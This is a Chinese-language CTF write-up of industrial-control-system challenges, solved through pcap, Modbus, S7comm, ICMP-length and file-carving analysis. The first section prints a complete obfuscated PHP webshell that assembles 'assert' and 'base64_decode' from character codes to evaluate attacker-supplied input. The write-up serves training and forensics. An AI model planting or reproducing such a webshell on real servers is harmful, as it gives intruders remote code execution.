工业安全靶场记录——工控协议Writeup_2


隐藏的黑客

image.png-38.4kB

这道题目还是挺有意思的,题目给了我们一个流量包和upload文件夹

image.png-10.3kB

看一下upload文件夹的东西

image.png-110.9kB

都是密码不同的webshell,没有发现其他的提示点,再看一下流量包

image.png-47.7kB

大量的MDNS包和TCP包,先过滤一下,单读一下TCP数据流,看看是否存在可疑流量

image.png-43.6kB

发现数据包中存在少量的HTTP流,详细看一下HTTP流的数据

image.png-75.1kB

发现是通过构造WEBSHELL执行命令,继续读取数据包,从返回包中发现目录下存在webshell.zip,尝试获取压缩包的原始数据,进行分离

image.png-32.5kB

再HTTP数据流下发现数据

image.png-78.6kB

导出压缩包数据,使用010editor进行恢复

image.png-102.3kB

打开压缩包,提示我们需要输入密码

image.png-26.4kB

这里想到了upload文件夹下的文件内容,猜测webshell的密码即为压缩包的密码,编写脚本提取爆破,最后获取到密码为7b8b965ad4bca

image.png-27.4kB

分析一下webshell文件

<?php

error_reporting(0);

@$c = array("1JFUVVFU1RbJzlhNzJjM","2Q1ZTc0ZjYwNTFiYjNiMzU","5MGZhOTMxOWZlJ10pOw","MGZhOTMxOWZlJ","MGZhOTMxOWZlJ");
@$str="ZXZhbCgkX";
@$o0o00o00o00o0o0 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);
@$ooo00o0o0o0o0o0 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);
@$count = 0;
for($x=0;$x<=9;$x++){
        if (in_array($x, @$c)){
                @$str=@$str.@$c[@$count];
                if ($count == 2)
                {       
                        @$o0o00o00o00o0o0(@$ooo00o0o0o0o0o0(@$str));
                }
                @$count++;
        }
}
?>


含有base64加密的数据,拼接解密一下

image.png-36.3kB

获取到加密字符串,即为题目的flag

简单流量分析

依旧是ICS-2019的原题,主要考察的是ICMP协议包长度,比较有脑洞了

image.png-117.2kB

看数据包中数据,base64加密的字符串,不过没有flag的提示,在查看其他报文的时候发现数据包长度存在不同点

image.png-64.1kB

所有数据包长度均为ASCII码可见字符,尝试提取并进行转码,脚本:

#!/usr/bin/python
# coding=utf8
import pyshark
import base64
L_flag= []
packets = pyshark.FileCapture('fetus_pcap.pcap')
for packet in packets:
 for pkt in packet:
     if pkt.layer_name == "icmp": 
         if int(pkt.type) != 0:
             L_flag.append(int(pkt.data_len))
c=len(L_flag)               
for i in range(0,c):
 L_flag[i]=chr(L_flag[i])
print(''.join(L_flag))
print(base64.b64decode(''.join(L_flag)))

image.png-381.5kB

成功输出flag

S7COMM协议分析

image.png-31.5kB

依然是浏览包,而且是一个比较新颖的数据协议,看一下数据

image.png-70.1kB

大量的s7comm、TCP、DNS协议包,搜一下关键字符串

image.png-102.1kB

没发现提示,着重看一下s7comm协议,排列一下大小,找一下可疑数据包

image.png-149.3kB

再最后一个数据包位置发现可疑数据,在线转一下字符

image.png-34.7kB

成功获取到flag

恶意文件溯源

image.png-33.6kB

下载文件后看一下文件类型

image.png-13.7kB

提示我们是zip文件,修改后缀解压

image.png-10.2kB

存在docx文档,binwalk看一下文件中是否存在其他内容了

image.png-29.5kB

可以看到文件内隐藏了压缩包,使用foremost命令进行分离

image.png-119.7kB

压缩包中存储的是docx文档的一些配置文件,直接搜索关键字

 find . -name '*.xml' | xargs grep -n 'flag'

image.png-130.1kB

成功获取到flag

Modbus协议流量分析

image.png-46kB

仍然是一个流量包,直接打开分析

image.png-127.4kB

没有关键字符提示,看一下Modbus协议内容,在根据大小查看协议内容时,发现异常点

image.png-117.8kB

疑似可读字符串,追踪一下数据流

image.png-28.2kB

发现flag

常见的编码转换

image.png-37.2kB

是一个比较规范的CTF类型的MISC题目了

image.png-91.1kB

下载下来发现存在密码,而且给了我们四个文件,想到了压缩包类型中的CRC爆破,使用winrar打开压缩包,爆破每一个压缩包的CRC值获取有意义的字符串

image.png-19.6kB

使用CRC爆破需要文件大小小于等于18个字节,这里大小刚好,我们使用网上的脚本进行爆破

地址:

https://github.com/theonlypwner/crc32

逐一进行爆破,获取有意义的字符串

image.png-100.7kB

root@kali:~/gk/crc32# python crc32.py reverse 0xbcee7ed5
4 bytes: {0x1c, 0xeb, 0xe5, 0x41}
verification checksum: 0xbcee7ed5 (OK)
alternative: 2VSYDo (OK)
alternative: 5OTgnD (OK)
alternative: 7sQy7Y (OK)
alternative: 91ctf_ (OK)
alternative: AVfsVk (OK)
alternative: N5K_u8 (OK)
alternative: OYyCje (OK)
alternative: PgLPQi (OK)
alternative: aYUJmn (OK)
alternative: c425Xo (OK)
alternative: cePT4s (OK)
alternative: d1zWsP (OK)
alternative: pt05kx (OK)
alternative: rTzw3q (OK)

image.png-39kB

最后拼接出有意义的字符串

forum_91ctf_com_66

猜测该字符串为压缩包密码

image.png-26.8kB

成功打开文件,文件里存储的为二进制字符

image.png-42.1kB

使用解密工具进行转换

image.png-197.3kB

转义出数据为base64存储的图片,使用在线网站进行解密

image.png-91.1kB

发现是一张二维码,使用工具扫描

image.png-58.6kB

成功获取到flag

后记

后面可能要等ICS2020第二场赛事结束后再更新靶场的Writeup了


发表评论

电子邮件地址不会被公开。 必填项已用*标注